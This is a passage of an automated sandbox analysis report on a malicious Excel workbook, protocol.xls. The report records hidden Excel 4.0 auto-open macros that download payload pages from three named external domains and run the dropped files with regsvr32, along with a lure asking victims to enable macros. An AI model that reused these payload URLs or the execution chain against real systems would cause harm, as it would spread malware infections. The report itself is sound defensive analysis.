      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://staging.cortana.ai
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://store.office.cn/addinstemplate
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://store.office.com/addinstemplate
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://store.office.de/addinstemplate
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://substrate.office.com/search/api/v2/init
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://tasks.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://web.microsoftstream.com/video/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://webshell.suite.office.com
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://wus2.contentsync.
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://wus2.pagecontentsync.
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
      Source: ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drString found in binary or memory: https://www.odwebp.svc.ms
      Source: unknownDNS traffic detected: queries for: maberic.com
      Source: global trafficHTTP traffic detected: GET /3XRJdBEjFc/l.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: maberic.comConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /toXuNS00/l.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: ost.net.brConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /CnijALAyxR/l.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: atochagaleria.com.arConnection: Keep-Alive
      Source: unknownHTTPS traffic detected: 199.79.62.121:443 -> 192.168.2.3:49744 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 162.241.2.103:443 -> 192.168.2.3:49745 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 192.99.46.215:443 -> 192.168.2.3:49746 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 192.99.46.215:443 -> 192.168.2.3:49746 version: TLS 1.2

      System Summary:

      barindex
      Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
      Source: Screenshot number: 12Screenshot OCR: Enable Editing o 18 19 20 0 PROTECTED VIEW Be careful- files from the Internet can contain viruse
      Source: Screenshot number: 12Screenshot OCR: Enable Content 25 26 0 SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30
      Source: Document image extraction number: 0Screenshot OCR: Enable Editing CD PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
      Source: Document image extraction number: 0Screenshot OCR: Enable Content Q) SECURITY WARNING Macros have been disabled. Enable Content . om If you are usin
      Source: Document image extraction number: 1Screenshot OCR: Enable Editing 0 PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unk$$ you
      Source: Document image extraction number: 1Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
      Found detection on Joe Sandbox Cloud Basic with higher scoreShow sources
      Source: protocol.xlsJoe Sandbox Cloud Basic: Detection: malicious Score: 76 Threat Name: Hidden Macro 4.0Perma Link
      Source: protocol.xls, type: SAMPLEMatched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
      Source: C:\Users\user\Desktop\protocol.xls, type: DROPPEDMatched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
      Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
      Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
      Source: protocol.xlsOLE indicator, VBA macros: true
      Source: protocol.xls.0.drOLE indicator, VBA macros: true
      Source: 8C80DA27.tmp.0.drOLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
      Source: protocol.xlsOLE indicator, Workbook stream: true
      Source: protocol.xls.0.drOLE indicator, Workbook stream: true
      Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.test
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.test
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.test
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test.testJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test1.testJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' C:\Datop\test2.testJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{3F103F3C-34D4-4E55-8A76-3FD8FE3D3A4B} - OProcSessId.datJump to behavior
      Source: classification engineClassification label: mal84.expl.winXLS@7/5@3/3
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEAutomated click: OK
      Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
      Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
      Source: C:\Windows\SysWOW64\regsvr32.exeAutomated click: OK
      Source: Window RecorderWindow detected: More than 3 window changes detected
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
      Source: 8C80DA27.tmp.0.drInitial sample: OLE indicators vbamacros = False
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior

      HIPS / PFW / Operating System Protection Evasion:

      barindex
      Yara detected hidden Macro 4.0 in ExcelShow sources
      Source: Yara matchFile source: protocol.xls, type: SAMPLE
      Source: Yara matchFile source: C:\Users\user\Desktop\protocol.xls, type: DROPPED

      Mitre Att&ck Matrix

      Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
      Valid AccountsScripting1DLL Side-Loading1Process Injection1Masquerading1OS Credential DumpingFile and Directory Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumEncrypted Channel1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
      Default AccountsExploitation for Client Execution23Boot or Logon Initialization ScriptsDLL Side-Loading1Disable or Modify Tools1LSASS MemorySystem Information Discovery2Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol2Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
      Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection1Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol13Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
      Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferIngress Tool Transfer1SIM Card SwapCarrier Billing Fraud
      Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptDLL Side-Loading1LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.

      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      No Antivirus matches

      Dropped Files

      No Antivirus matches

      Unpacked PE Files

      No Antivirus matches

      Domains

      SourceDetectionScannerLabelLink
      maberic.com2%VirustotalBrowse
      atochagaleria.com.ar5%VirustotalBrowse
      ost.net.br2%VirustotalBrowse

      URLs

      SourceDetectionScannerLabelLink
      https://roaming.edog.0%URL Reputationsafe
      https://cdn.entity.0%URL Reputationsafe
      https://powerlift.acompli.net0%URL Reputationsafe
      https://rpsticket.partnerservices.getmicrosoftkey.com0%URL Reputationsafe
      https://cortana.ai0%URL Reputationsafe
      https://api.aadrm.com/0%URL Reputationsafe
      https://ofcrecsvcapi-int.azurewebsites.net/0%URL Reputationsafe
      https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h0%Avira URL Cloudsafe
      https://res.getmicrosoftkey.com/api/redemptionevents0%URL Reputationsafe
      https://ost.net.br/toXuNS00/l.html0%Avira URL Cloudsafe
      https://powerlift-frontdesk.acompli.net0%URL Reputationsafe
      https://officeci.azurewebsites.net/api/0%URL Reputationsafe
      https://atochagaleria.com.ar/CnijALAyxR/l.html0%Avira URL Cloudsafe
      https://store.office.cn/addinstemplate0%URL Reputationsafe
      https://api.aadrm.com0%URL Reputationsafe
      https://dev0-api.acompli.net/autodetect0%URL Reputationsafe
      https://www.odwebp.svc.ms0%URL Reputationsafe
      https://api.addins.store.officeppe.com/addinstemplate0%URL Reputationsafe
      https://dataservice.o365filtering.com/0%URL Reputationsafe
      https://maberic.com/3XRJdBEjFc/l.html0%Avira URL Cloudsafe
      https://officesetup.getmicrosoftkey.com0%URL Reputationsafe
      https://prod-global-autodetect.acompli.net/autodetect0%URL Reputationsafe
      https://ncus.contentsync.0%URL Reputationsafe
      https://apis.live.net/v5.0/0%URL Reputationsafe
      https://wus2.contentsync.0%URL Reputationsafe
      https://asgsmsproxyapi.azurewebsites.net/0%URL Reputationsafe
      https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile0%URL Reputationsafe
      https://ncus.pagecontentsync.0%URL Reputationsafe
      https://skyapi.live.net/Activity/0%URL Reputationsafe
      https://dataservice.o365filtering.com0%URL Reputationsafe

      Domains and IPs

      Contacted Domains

      NameIPActiveMaliciousAntivirus DetectionReputation
      maberic.com
      199.79.62.121
      truefalseunknown
      atochagaleria.com.ar
      192.99.46.215
      truetrueunknown
      ost.net.br
      162.241.2.103
      truefalseunknown

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      https://ost.net.br/toXuNS00/l.htmlfalse
      • Avira URL Cloud: safe
      unknown
      https://atochagaleria.com.ar/CnijALAyxR/l.htmltrue
      • Avira URL Cloud: safe
      unknown
      https://maberic.com/3XRJdBEjFc/l.htmlfalse
      • Avira URL Cloud: safe
      unknown

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      https://api.diagnosticssdf.office.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
        high
        https://login.microsoftonline.com/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
          high
          https://shell.suite.office.com:1443ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
            high
            https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorizeACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
              high
              https://autodiscover-s.outlook.com/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                high
                https://roaming.edog.ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                • URL Reputation: safe
                unknown
                https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                  high
                  https://cdn.entity.ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                  • URL Reputation: safe
                  unknown
                  https://api.addins.omex.office.net/appinfo/queryACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                    high
                    https://clients.config.office.net/user/v1.0/tenantassociationkeyACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                      high
                      https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                        high
                        https://powerlift.acompli.netACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                        • URL Reputation: safe
                        unknown
                        https://rpsticket.partnerservices.getmicrosoftkey.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                        • URL Reputation: safe
                        unknown
                        https://lookup.onenote.com/lookup/geolocation/v1ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                          high
                          https://cortana.aiACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                          • URL Reputation: safe
                          unknown
                          https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                            high
                            https://cloudfiles.onenote.com/upload.aspxACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                              high
                              https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                high
                                https://entitlement.diagnosticssdf.office.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                  high
                                  https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicyACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                    high
                                    https://api.aadrm.com/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                    • URL Reputation: safe
                                    unknown
                                    https://ofcrecsvcapi-int.azurewebsites.net/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                    • URL Reputation: safe
                                    unknown
                                    https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciesACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                      high
                                      https://api.microsoftstream.com/api/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                        high
                                        https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=ImmersiveACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                          high
                                          https://cr.office.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                            high
                                            https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;hACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                            • Avira URL Cloud: safe
                                            low
                                            https://portal.office.com/account/?ref=ClientMeControlACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                              high
                                              https://graph.ppe.windows.netACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                high
                                                https://res.getmicrosoftkey.com/api/redemptioneventsACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                • URL Reputation: safe
                                                unknown
                                                https://powerlift-frontdesk.acompli.netACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                • URL Reputation: safe
                                                unknown
                                                https://tasks.office.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                  high
                                                  https://officeci.azurewebsites.net/api/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://sr.outlook.office.net/ws/speech/recognize/assistant/workACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                    high
                                                    https://store.office.cn/addinstemplateACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://api.aadrm.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                    • URL Reputation: safe
                                                    unknown
                                                    https://outlook.office.com/autosuggest/api/v1/init?cvid=ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                      high
                                                      https://globaldisco.crm.dynamics.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                        high
                                                        https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                          high
                                                          https://dev0-api.acompli.net/autodetectACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://www.odwebp.svc.msACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                          • URL Reputation: safe
                                                          unknown
                                                          https://api.powerbi.com/v1.0/myorg/groupsACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                            high
                                                            https://web.microsoftstream.com/video/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                              high
                                                              https://api.addins.store.officeppe.com/addinstemplateACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                              • URL Reputation: safe
                                                              unknown
                                                              https://graph.windows.netACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                high
                                                                https://dataservice.o365filtering.com/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://officesetup.getmicrosoftkey.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://analysis.windows.net/powerbi/apiACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                  high
                                                                  https://prod-global-autodetect.acompli.net/autodetectACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                  • URL Reputation: safe
                                                                  unknown
                                                                  https://outlook.office365.com/autodiscover/autodiscover.jsonACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                    high
                                                                    https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-iosACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                      high
                                                                      https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                        high
                                                                        https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                          high
                                                                          https://ncus.contentsync.ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                          • URL Reputation: safe
                                                                          unknown
                                                                          https://onedrive.live.com/about/download/?windows10SyncClientInstalled=falseACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                            high
                                                                            https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                              high
                                                                              http://weather.service.msn.com/data.aspxACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                high
                                                                                https://apis.live.net/v5.0/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                • URL Reputation: safe
                                                                                unknown
                                                                                https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asksACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                  high
                                                                                  https://word.uservoice.com/forums/304948-word-for-ipad-iphone-iosACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                    high
                                                                                    https://autodiscover-s.outlook.com/autodiscover/autodiscover.xmlACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                      high
                                                                                      https://management.azure.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                        high
                                                                                        https://outlook.office365.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                          high
                                                                                          https://wus2.contentsync.ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                          • URL Reputation: safe
                                                                                          unknown
                                                                                          https://incidents.diagnostics.office.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                            high
                                                                                            https://clients.config.office.net/user/v1.0/iosACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                              high
                                                                                              https://insertmedia.bing.office.net/odc/insertmediaACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                high
                                                                                                https://o365auditrealtimeingestion.manage.office.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                  high
                                                                                                  https://outlook.office365.com/api/v1.0/me/ActivitiesACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                    high
                                                                                                    https://api.office.netACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                      high
                                                                                                      https://incidents.diagnosticssdf.office.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                        high
                                                                                                        https://asgsmsproxyapi.azurewebsites.net/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                        • URL Reputation: safe
                                                                                                        unknown
                                                                                                        https://clients.config.office.net/user/v1.0/android/policiesACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                          high
                                                                                                          https://entitlement.diagnostics.office.comACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                            high
                                                                                                            https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.jsonACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                              high
                                                                                                              https://substrate.office.com/search/api/v2/initACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                high
                                                                                                                https://outlook.office.com/ACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                  high
                                                                                                                  https://storage.live.com/clientlogs/uploadlocationACCDA27E-452C-4E08-9584-F9C22DEC51A8.0.drfalse
                                                                                                                    high
